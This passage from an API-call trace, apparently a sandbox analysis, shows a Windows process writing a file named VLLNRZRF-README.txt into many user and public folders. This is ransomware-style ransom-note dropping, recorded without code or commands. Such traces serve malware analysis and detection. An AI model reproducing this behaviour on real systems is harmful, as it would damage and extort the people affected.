ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x5a [0123.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4c8 [0123.290] GetFileType (hFile=0x4c8) returned 0x1 [0123.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.290] GetFileType (hFile=0x4c8) returned 0x1 [0123.290] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.291] WriteFile (in: hFile=0x4c8, lpBuffer=0x223faa8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x223faa8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.292] CloseHandle (hObject=0x4c8) returned 1 [0123.407] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x29 [0123.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default User\\VLLNRZRF-README.txt" (normalized: "c:\\users\\default user\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.408] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x29 [0123.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.408] CreateFileW (lpFileName="C:\\Users\\Default User\\VLLNRZRF-README.txt" (normalized: "c:\\users\\default user\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4fc [0123.409] GetFileType (hFile=0x4fc) returned 0x1 [0123.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.409] GetFileType (hFile=0x4fc) returned 0x1 [0123.409] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.409] WriteFile (in: hFile=0x4fc, lpBuffer=0x23d4bf0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23d4bf0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.410] CloseHandle (hObject=0x4fc) returned 1 [0123.418] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x23 [0123.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.419] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.419] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x23 [0123.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.419] CreateFileW (lpFileName="C:\\Users\\Public\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x31c [0123.420] GetFileType (hFile=0x31c) returned 0x1 [0123.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.420] GetFileType (hFile=0x31c) returned 0x1 [0123.420] SetFilePointer (in: hFile=0x31c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.420] WriteFile (in: hFile=0x31c, lpBuffer=0x23d88a8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23d88a8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.422] CloseHandle (hObject=0x31c) returned 1 [0123.441] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2b [0123.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.441] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\desktop\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.441] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2b [0123.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.441] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\desktop\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x460 [0123.442] GetFileType (hFile=0x460) returned 0x1 [0123.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.442] GetFileType (hFile=0x460) returned 0x1 [0123.442] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.442] WriteFile (in: hFile=0x460, lpBuffer=0x23ded90*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23ded90*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.444] CloseHandle (hObject=0x460) returned 1 [0123.472] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2d [0123.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\documents\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.473] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2d [0123.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.473] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\documents\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x334 [0123.474] GetFileType (hFile=0x334) returned 0x1 [0123.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.474] GetFileType (hFile=0x334) returned 0x1 [0123.474] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.474] WriteFile (in: hFile=0x334, lpBuffer=0x23e35b0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23e35b0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.475] CloseHandle (hObject=0x334) returned 1 [0123.487] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x36 [0123.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.487] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\documents\\my music\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.488] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x36 [0123.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.488] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Music\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\documents\\my music\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x454 [0123.488] GetFileType (hFile=0x454) returned 0x1 [0123.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.489] GetFileType (hFile=0x454) returned 0x1 [0123.489] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.489] WriteFile (in: hFile=0x454, lpBuffer=0x23e7c80*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23e7c80*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.491] CloseHandle (hObject=0x454) returned 1 [0123.710] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x39 [0123.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\documents\\my pictures\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.711] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x39 [0123.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.711] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\documents\\my pictures\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x468 [0123.712] GetFileType (hFile=0x468) returned 0x1 [0123.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.712] GetFileType (hFile=0x468) returned 0x1 [0123.712] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.713] WriteFile (in: hFile=0x468, lpBuffer=0x23ec308*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23ec308*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.714] CloseHandle (hObject=0x468) returned 1 [0123.724] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x37 [0123.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.724] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\documents\\my videos\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.724] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x37 [0123.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.724] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Videos\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\documents\\my videos\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x420 [0123.725] GetFileType (hFile=0x420) returned 0x1 [0123.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.725] GetFileType (hFile=0x420) returned 0x1 [0123.725] SetFilePointer (in: hFile=0x420, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.725] WriteFile (in: hFile=0x420, lpBuffer=0x23f0938*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23f0938*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.727] CloseHandle (hObject=0x420) returned 1 [0123.735] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2d [0123.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.735] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Downloads\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\downloads\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.735] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2d [0123.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.735] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\downloads\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4dc [0123.736] GetFileType (hFile=0x4dc) returned 0x1 [0123.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.736] GetFileType (hFile=0x4dc) returned 0x1 [0123.736] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.736] WriteFile (in: hFile=0x4dc, lpBuffer=0x23f4dc0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23f4dc0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.737] CloseHandle (hObject=0x4dc) returned 1 [0123.744] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2d [0123.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.744] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Favorites\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\favorites\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.745] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2d [0123.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.745] CreateFileW (lpFileName="C:\\Users\\Public\\Favorites\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\favorites\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x524 [0123.746] GetFileType (hFile=0x524) returned 0x1 [0123.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.746] GetFileType (hFile=0x524) returned 0x1 [0123.746] SetFilePointer (in: hFile=0x524, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.747] WriteFile (in: hFile=0x524, lpBuffer=0x23f8e48*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23f8e48*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.748] CloseHandle (hObject=0x524) returned 1 [0123.787] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2d [0123.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Libraries\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\libraries\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.787] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2d [0123.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.787] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\libraries\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x518 [0123.875] GetFileType (hFile=0x518) returned 0x1 [0123.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.875] GetFileType (hFile=0x518) returned 0x1 [0123.875] SetFilePointer (in: hFile=0x518, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.876] WriteFile (in: hFile=0x518, lpBuffer=0x22048a8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22048a8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.877] CloseHandle (hObject=0x518) returned 1 [0123.895] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\VLLNRZRF-README.txt", nBufferLength=0x105, 